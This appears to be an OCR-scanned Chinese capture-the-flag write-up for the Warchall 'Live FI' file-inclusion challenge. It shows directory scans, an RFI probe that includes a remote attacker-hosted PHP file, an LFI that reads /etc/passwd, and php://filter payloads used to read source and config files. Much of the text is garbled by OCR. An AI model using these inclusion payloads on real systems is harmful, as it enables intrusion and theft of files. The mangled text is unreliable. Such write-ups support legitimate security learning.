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| http:/fifi.warchall.net:80/
@ Scan Information * Results - List View: Dirs: 17 Files: 37 | Results - Tree View ', /\ Errors: 6 ',
Type Found | Response | Size

i [oir / 200
File findex.php 200
Dir ficons/ 200
File ftest.php 200
Dir ficons/small/ 200
Dir fcache/ 200
Dir ftemp/ 200
File ftemp/rfi.php 200
Dir ftemp/temp/ 200
File ftemp/test.txt 200
Dir ftempjtplc/ 200
File ftemp/file.txt 200 11
Dir ftemp/temp/temp/ 200
Dir ftemp/temp/tplc/ 200
Current speed: 22 requests/sec (Select and right click for more

test.phpik 4
&« c @ (@ Ifiwarchall.net/test.php B e iy Inf@D » a ® O @
B%E B ENSE [work @& ForEk - s BeRE:HCciES. () BN -FiRESR. B RERETBUGBANK).. » [#s

Notice: Undefined index: a in /fhome/level/14 live fi/www/test.php on line 2

Warning: require_once(/home/level/14 live fi/www): failed to open stream: Not a directory in /home/level/14 live fi
Swwwy/test.php on line 2

Fatal error: require_once(): Failed opening required " (include_path=":/usr/share/php7:/usr/share/php') in fhome/level
/14 live fi/www/test.php on line 2

require_once()i& &) 7 A AT HA 18148 & 12 17 98 & SO
/home/level/14 _live_filwww/test.phpRE—DH K, RERET .
info1: M3k BT 7E B X% 42:  /home/level/14_live filwww/
BRSH

KW B % R m R U & remote file include, TR V5 rfi.php R MR E A A .


https://blog.csdn.net/weixin_39609622
https://so.csdn.net/so/search/s.do?q=php+infosec&t=blog&o=vip&s=&l=&f=&viparticle=

& > C O F==| Hiwarchall.net/temp/

Index of /temp

Hame Lazt modified Size Description

a Parent Directo -

file.tzt 23-0ct-2014 06:36 108K
rfi. php 03-TJan-2014 05:03 127
temps O07-Tan—-2013 14:20 -
test, txt 03-Tan-2014 04:34 0

! 63 tplc/ 21-Tan-2016 22:37 -

Apache Server at lfiwarchall net Port 80
BINE A BIERS, B AR BB

KB emd2 AT BE i S 4

/temp/rfi.php?cmd=http://127.0.0.1:80/test.php

Intruder attack 3

Attack Sawve Columns
Results T Target T Positions T Payloads T Options 1
‘ Filter: Showing all items
- —

Request | Payload | status | Erro | TimeoutfLength ¥ | Jomment
201 cmd 200 O O ([1se 1/
o 200 O O 186
1 e 200 O O 186
2 00 200 O O 186
3 0L 200 O O 186
4 02 200 O O 186
5 03 200 O O 186
& 1 200 O O 186
7 10 200 O O 186
g 100 200 O O 186
9 1000 200 O O 186
11 2 200 O O 186
12 20 200 O O 186
14 2000 200 O O 186
13 200 200 O O 186
1n 173 20 (] (] 186

remore

[RawTHBadersTHe: TXML]
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Vilal /temp/rfi.php?cmd=http://vpsHiip:888/whale.php

<« C @ A== | Ifiwarchall.net/temp/rfi.php?cmd=http://127.0.0.1:80/temp/file.txt
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info2: EE T My H

http://1fi.warchall.net/protected/

http://1fi.warchall.net/temp/

http://1fi.warchall.net/protected/logs/20180905 critical details.txt

AU HTH, logHRT, g% T RA S E R EHER.

< C @O F== | liwarchall.net/protected/logs/20180905 critical details.txt

GWF_Debug: : error_ha.ndler()A clorefinc/utilfGWF_Debug. php line 144.
GWF_Log::logCritical().... core/inc/util/GWF_Log.php line 144.

1310 [113.65.210,181] - Array
{ —

[lang] => php://filter/convert. basefd-encode/ resource=index

require_once (php: A/ filter/convert. bazsefid-encode/resource=index) : failed to open stream operation failed in index.php line 11
Backtrace starts in index.php line 11.

TEqULTE_ONCE (e ve i neens index. php line 11.

GWF_Debug:: erxror_handler () core/inc/util/GWF_Debugz. php line 144.
GWF_Log:: loglritical().... core/inc/util/GWF_Log.php line 144,

13:10 [113,65.210,181] - Array
{

[lang] => php://filter/convert. bazefid-encodes resour ce=/ et o/ht tpd/hit tpd. conf

require_once (php: /¥ filter/convert.basefd-encode/resource=/etc/httpd/httpd. conf) : failed to open stream: operation failed in index.php line 11
Backtrace startz in index.php line 11.

require_once().civnienn.. index. php line 11.
GWF_Debug: : error_handler() core/inc/util/GWF_Debug. php line 144.

MmXANBFHEFE, WERH, XHEBEMFHBZrequire_once ()X AN E%



MRIATE T index.php KI%111T.

| Go J Target: http://fi.warchall.net |/J | ':"J

j R.awT Headers T Hex | J Raw T Headers T Hex T HTML T Render ]
GET /index_php HTTR/1.1

& 'y
Host: Lfi.warchall. net r =hody>= -
User-Agent: Mozillays5.8 (X11; Linux xB6_64; rw:52.8) <div id="pagewrap”>
Gecko/201001081 Firefox/52.0 =div 1d="gwf3i_topmenu®>
Accept: <a href="index.php?lang=en”><img
text/html,application/xhtml+xml, application/xml;q=0_9 */*; sre="english_png® title="English® alt="EN" /></a>

q=0_8 =a href="1index _php?lang=de”>=<img
Accept-Language: en-US,en;g=0.5 sre="german_png” title="German® alt="DE" /></fa>
Connection: close =fdiv=
Upgrade-Insecure-Requests: 1 <hry=
Cache-Control: max-age=0 =div 1d="gwf3i_page">
Welcome to Live-FI, Your Residual-current device
partner!<br/>This page is under construction.
=fdiv=
<hry=
- =div class="gwf3i_footer®> -
| <div id="owf3 debuo foot=> |
|7 J| {J| +j| }J Type a search term 0 matches | 7 J| {H +J| 3] Type a search term 0 matches
S .
T RIIRE T index. php
< C @ F==2 | fiwarchall.net/index.php?lang=/etc/passwd

root:x:0:0:root:/root:/usr/local/bin/sudosh bin:x:1:1:bin:/bin:/bin/fa
Ipac4: 7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync s
news:x:9:13:news:/var/spool/news:/bin/false uucpx:10:14:uucp:/va
portage:x:250:250:portage:/var/tmp/portage:/bin/false nobody:x:6

man:/usr/share/man:/sbin/nologin sshd:x:22:22:added by portage
cronbase:/var/spool/cron:/sbin/nologin mail:x:8:12:added by porta

WEZE—T, BEERRRHA, A XHEEEESMEBREE.

RIET—HHEEflag T

C @ AFZ=£ | view-source:lfiwarchall.net/index.php?lang=/home/level/14 live_fi/www/solution.php

1 <html>

2| <hbody>

<pre ztyle="color:#000; “>teh falg =i naer!</pre’
<pre ztyle="color:#fff; "»the flag is near!</pre’
</hody >
<Shtml s
<hr A
ChoWarning</b>»: file put_content=z(): Only O of 105 bytez written, posszibly out of free disk =zpace in <b>/opt/ph

~ oo o L

(==}



9 sbr 2

10 <b»Fatal error</br: Uncaught GWF_Exception:

11 thrown in <b>/opt/php/fewf3fcore finc/util/GVF _Log. php</b> on line <b>26T7</br<br
12| <br /2

12 <b»Fatal error</br: Uncaught GWF_Exception:

14 thrown in <b>/opt/php/ewf3fcore finc/util/GVF _Log. php</b> on line <b>249</b><br
15

WA EIFlagFi fERI BN | 175

writeup

writeup

EHT—%wp, RIAEBERREXFER: solution.phpBE ARBA S, IR RENEEEEEN.

Ei@E AT, Kphp4wil— FHE&E. ?lang=php://filter/convert.base64-
encode/resource=solution.php"

HHwp, XEBHALIRT, BAHflagh. A rbt.

v out of fres
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